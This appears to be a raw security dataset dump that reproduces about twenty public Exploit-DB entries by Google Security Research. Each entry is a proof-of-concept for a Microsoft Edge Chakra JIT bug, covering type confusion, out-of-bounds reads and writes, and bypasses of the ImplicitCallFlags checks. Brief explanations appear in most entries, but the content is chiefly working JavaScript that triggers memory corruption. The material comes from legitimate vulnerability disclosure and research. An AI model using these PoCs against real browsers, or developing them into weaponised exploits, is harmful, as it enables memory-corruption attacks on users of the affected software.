deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44075
Description: Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly (2)
Type: dos
Platform: windows
Date: 2018-02-15
Author: Google Security Research

Exploit:
It seems this is the patch for the bug.
https://github.com/Microsoft/ChakraCore/pull/4226/commits/874551dd00ff6f404e593c7e0162efb54b953f5a

The following two cases will bypass the fix.

1:
function opt() {
    let obj = new Number(2.3023e-320);
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

2:
function opt() {
    let obj = '2.3023e-320';
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();
Exploit-DB #45216
Description: Microsoft Edge Chakra JIT - 'InlineArrayPush' Type Confusion
Type: dos
Platform: windows
Date: 2018-08-17
Author: Google Security Research

Exploit:
/*
This is similar to  issue 1531 . The patch seems to prevent type confusion triggered from StElemI_A instructions. But the SetItem method can also be invoked through the Array.prototype.push method which can be inlineed. We can achieve type confusion with the push method in the same way used for  issue 1531 .

PoC:
*/

function opt(arr, value) {
	arr.push(value);  // <--------
	arr[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
		let tmp = [1.1, 2.2, 3.3];
		delete tmp[1];

        opt(tmp, 2.2);
    }

    let arr = [1.1];
    opt(arr, -5[PII_REDACTED]e-314);  // MAGIC VALUE!

    alert(arr);
}

main();
Exploit-DB #44081
Description: Microsoft Edge Chakra JIT - 'LdThis' Type Confusion
Type: dos
Platform: windows
Date: 2018-02-15
Author: Google Security Research

Exploit:
/*
LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly.

PoC:
*/

function opt(arr) {
    arr[0] = 1.1;
    this[0] = {};
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        opt.call({}, arr);
    }

    opt.call(arr, arr);
    print(arr);
}

main();
Exploit-DB #43491
Description: Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check
Type: dos
Platform: windows
Date: 2018-01-10
Author: Google Security Research

Exploit:
/*
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
Here's a snippet of the method.
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
{
    ...
    IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
    ...
    InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
    ...
}

At (a), there's no check for integer overflow.

Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.

PoC:
*/

let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
    a = 'BBBBBBBBB' + a + b;
}

print(a.length);
print(b.length);
print(a[0]);
Exploit-DB #44080
Description: Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion
Type: dos
Platform: windows
Date: 2018-02-15
Author: Google Security Research

Exploit:
/*
This is similar to the previous issues 1457,  1459 (MSRC 42551, MSRC 42552).

If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.

PoC:
*/

function inlinee() {

}

function opt(arr) {
    arr[0] = 1.1;
    new inlinee();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        inlinee.prototype = {};
        opt(arr);
    }

    inlinee.prototype = arr;
    opt(arr);

    print(arr);
}

main();
Exploit-DB #43000
Description: Microsoft Edge Chakra JIT - 'RegexHelper::StringReplace' Must Call the Callback Function with Updating ImplicitCallFlags
Type: dos
Platform: windows
Date: 2017-10-17
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1334

The "String.prototype.replace" method can be inlined in the JIT process. So in the method, all the calls which may break the JIT assumptions must be invoked with updating "ImplicitCallFlags". But "RegexHelper::StringReplace" calls the replace function without updating the flag. Therefore it fails to detect if a user function was called.


The PoC shows that it can result in type confusion.

PoC:
*/

function main() {
    let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
    function opt(f) {
        arr[0] = 1.1;
        arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
        arr[2] = 1.1;
        arr[3] = 1.1;
    }

    let r0 = () => '0';
    for (var i = 0; i < 0x1000; i++)
        opt(r0);

    opt(() => {
        arr[0] = {};
        return '0';
    });

    print(arr[1]);
}

main();
Exploit-DB #44078
Description: Microsoft Edge Chakra JIT - Array Type Confusion via InitProto Instructions
Type: dos
Platform: windows
Date: 2018-02-15
Author: Google Security Research

Exploit:
/*
If a native array is used as a prototype, it is converted to a Var array by the Js::JavascriptNativeFloatArray::SetIsPrototype method.

In the JIT compiler, it uses InitProto instructions to set object literals' prototype. But when optimizing those instructions, it doesn't reset the previous array validity even it can change the type of arrays. As a result, it can lead to type confusion.

Note: Expressions like "obj.__proto__" don't use InitProto instructions.
*/

function opt(arr, proto) {
    arr[0] = 1.1;
    let tmp = {__proto__: proto};
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    for (let i = 0; i < 10000; i++) {
        opt(arr, {});
    }

    opt(arr, arr);
    print(arr);

}

main();
Exploit-DB #43467
Description: Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches
Type: dos
Platform: windows
Date: 2018-01-09
Author: Google Security Research

Exploit:
/*
The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
    arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
    // empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {
    
}
goto D;  // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.


PoC:
*/

function opt(a, b, always_true = true) {
    a[0] = 1234;
    b[0] = 0;

    let arr = a;
    if (always_true) {
        arr = b;
        for (let i = 0; i < arr.length; i++)
            arr[i] = 0;
    }

    let val = arr[0];
    if (val) {
        print(val);  // Must be 0, but prints out 1234
        return true;
    }

    return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
    if (opt(a, b)) {
        break;
    }
}
Exploit-DB #45012
Description: Microsoft Edge Chakra JIT - BoundFunction::NewInstance Out-of-Bounds Read
Type: dos
Platform: windows
Date: 2018-07-12
Author: Google Security Research

Exploit:
/*
BoundFunction::NewInstance is used to handle calls to a bound function. The method first allocates a new argument array and copies the prepended arguments and others into the new argument array and calls the actual function. The problem is, it doesn't care about the CallFlags_ExtraArg flag which indicates that there's an extra argument (new.target in the PoC) at the end of the argument array. So the size of the new argument array created with the CallFlags_ExtraArg flag will be always 1 less then required, this leads to an OOB read.

PoC:
*/

function func() {
    new.target.x;
}

let bound = func.bind({}, 1);

Reflect.construct(bound, []);
Exploit-DB #43469
Description: Microsoft Edge Chakra JIT - Escape Analysis Bug
Type: dos
Platform: windows
Date: 2018-01-09
Author: Google Security Research

Exploit:
/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis

Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.

PoC:
*/

function opt() {
    let tmp = [];
    tmp[0] = tmp;
    return tmp[0];
}

function main() {
    for (let i = 0; i < 0x1000; i++) {
        opt();
    }

    print(opt());  // deref uninitialized stack pointers!
}

main();
Exploit-DB #45213
Description: Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl
Type: dos
Platform: windows
Date: 2018-08-17
Author: Google Security Research

Exploit:
/*
If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.

In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.

PoC:
*/

function opt(arr, obj) {
    arr[0] = 1.1;
    obj.x;
    arr[0] = 2.3023e-320;
}

let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
}

let get = Map.prototype.get;
Map.prototype.get = function (key) {
    Map.prototype.get = get;

    arr[0] = {};

    return this.get(key);
};

opt(arr, Intl);

alert(arr[0]);
Exploit-DB #44077
Description: Microsoft Edge Chakra JIT - ImplicitCallFlags Checks Bypass
Type: dos
Platform: windows
Date: 2018-02-15
Author: Google Security Research

Exploit:
/*
Here's a snippet of ExecuteImplicitCall which is responsible for updating the ImplicitCallFlags flag.
    template <class Fn>
    inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall)
    {
        ...
        Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags();
        Js::Var result = implicitCall();
        this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags));
        return result;
    }

It updates the flag after the implicit call. So if an exception is thrown during the implicit call, the flag will remain not updated. And the execution will be broken until the exeception gets handled. Namely, if we can ignore the exception in any way, we can bypass the ImplicitCallFlags checks.

At this point, "typeof" comes to rescue. The weird handler for "typeof" catchs execptions and clears them. For example, in the following code, the exeception thrown from toString will be ignored.

let o = {
    toString: () => {
        throw 1;
    }
};

typeof(this[o]);

So, we can bypass the ImplicitCallFlags checks by throwing an exception and clearing it using "typeof".
*/

function opt(arr, index) {
    arr[0] = 1.1;
    typeof(arr[index]);
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    for (let i = 0; i < 0x10000; i++) {
        opt(arr, {});
    }

    opt(arr, {toString: () => {
        arr[0] = {};

        throw 1;
    }});

    print(arr[0]);
}

main();
Exploit-DB #43710
Description: Microsoft Edge Chakra JIT - Incorrect Bounds Calculation
Type: dos
Platform: windows
Date: 2018-01-17
Author: Google Security Research

Exploit:
/*
Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.
            // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track
            // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should
            // also track that it is equal to (the value of 'b') - 2.

This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.

function opt(j) {
    let k = j + 0x7ffffff0;
    // (a)
}


But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.

For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.

function opt(j) {
    if (j <= 100)
        return;

    let k = j + 0x7ffffff0;
}


Now, let's take a look at the PoC.

function opt() {
    let j = 0;
    for (let i = 0; i < 2; i++) {
        // (a)
        j += 0x100000;
        // (b)
        let k = j + 0x7ffffff0; // (c)
    }
}

Note that all loops are analyzed twice in the JIT optimization process.

Here's what happens in the analyses.

In the first analysis:
At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.
At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.

In the second analysis:
At (a), Chakra considers "j" to be in the range of 0 to 15.
At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.
At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.


In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.

However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.

PoC demonstrating OOB write:
*/
function opt(arr) {
    if (arr.length <= 15)
        return;

    let j = 0;
    for (let i = 0; i < 2; i++) {
        arr[j] = 0x1234;  // (a)
        j += 0x100000;
        j + 0x7ffffff0;
    }
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
        opt(new Uint32Array(100));
    }
}

main();

// At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.
Exploit-DB #43182
Description: Microsoft Edge Chakra JIT - Incorrect Function Declaration Scope
Type: dos
Platform: windows
Date: 2017-11-27
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367

In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
    print(x);

    {
        function x() {

        }
    }

    print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
    bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
    x = 1;
}


PoC:
*/

function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();
Exploit-DB #45217
Description: Microsoft Edge Chakra JIT - InitializeNumberFormat and InitializeDateTimeFormat Type Confusion
Type: dos
Platform: windows
Date: 2018-08-17
Author: Google Security Research

Exploit:
/*
The InitializeNumberFormat function in Intl.js is used to initialize an Intl.NumberFormat object, and InitializeDateTimeFormat is used for an Intl.DateTimeFormat object. There are two versions of each initializer. One is for WinGlob and the other is for ICU. The problem is that the versions for ICU don't check whether the given object has been initialized. This allows to initialize the same object multiple times which can lead to type confusion.

It seems the recent version of Edge in Windows Insider Preview has started to use ICU. Tested on Microsoft Edge 42.17672.1000.0 and Microsoft EdgeHTML 17.17672.

The initializer for ICU has no check:
https://github.com/Microsoft/ChakraCore/blob/bc2e55a7d80338ee4c9c63b76893f6d816dfe70b/lib/Runtime/Library/InJavascript/Intl.js#L1151

The initializer for WinGlob has a check:
https://github.com/Microsoft/ChakraCore/blob/bc2e55a7d80338ee4c9c63b76893f6d816dfe70b/lib/Runtime/Library/InJavascript/Intl.js#L3046

PoC:
*/

let object = {};
Intl.NumberFormat.apply(object);
Intl.DateTimeFormat.apply(object);
Intl.DateTimeFormat.prototype.formatToParts.apply(object);
Exploit-DB #44694
Description: Microsoft Edge Chakra JIT - Magic Value Type Confusion
Type: dos
Platform: windows
Date: 2018-05-22
Author: Google Security Research

Exploit:
/*
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
    if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
    {
        JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
        varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
        return TRUE;
    }

    this->DirectSetItemAt<double>(index, dValue);
    return TRUE;
}

As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.
*/

function opt(arr, value) {
    arr[1] = value;
    arr[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 0x10000; i++)
        opt([1.1], 2.2);

    let arr = [1.1];
    opt(arr, -5[PII_REDACTED]e-314);  // MAGIC VALUE!

    print(arr);
}

main();
Exploit-DB #43466
Description: Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions
Type: dos
Platform: windows
Date: 2018-01-09
Author: Google Security Research

Exploit:
/*
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".

Note: Math.min as well.

PoC:
*/

function opt(arr, arr2) {
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3, 4.4];
    for (let i = 0; i < 10000; i++) {
        opt(arr, [1, 2, 3, 4]);
    }

    Math.max = function () {
        arr[0] = {};
    };

    opt(arr, {});  // can't handle, calls Math.max
    print(arr[0]);
}

main();
Exploit-DB #45011
Description: Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes
Type: dos
Platform: windows
Date: 2018-07-12
Author: Google Security Research

Exploit:
/*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}
Exploit-DB #43718
Description: Microsoft Edge Chakra JIT - Out-of-Bounds Write
Type: dos
Platform: windows
Date: 2018-01-17
Author: Google Security Research

Exploit:
// Here's the PoC demonstrating OOB write.

function opt(arr, start, end) {
    for (let i = start; i < end; i++) {
        if (i === 10) {
            i += 0;  // <<-- (a)
        }
        arr[i] = 2.3023e-320;
    }
}

function main() {
    let arr = new Array(100);
    arr.fill(1.1);

    for (let i = 0; i < 1000; i++)
        opt(arr, 0, 3);

    opt(arr, 0, 100000);
}

main();

/*
What happens here is as follows:
In the loop prepass analysis, (a) is a valid add operation. It's a relative operation to "i", so Chakra thinks it's a valid loop. The variable "i" now becomes an induction variable, and a LoopCount object is created. When the LoopCount object is created, the ValueInfo of "i" is IntBounded which contains relative bounds information. 
In the actual optimization phase, (a) gets optimized and becomes a load operation which directly loads 10 to "i". It's no more relative operation, therefore the ValueInfo of "i" is not to be IntBounded. But the LoopCount object has already been created with the previous information. This leads Chakra to fail computing bounds which may result in OOB read/write.
*/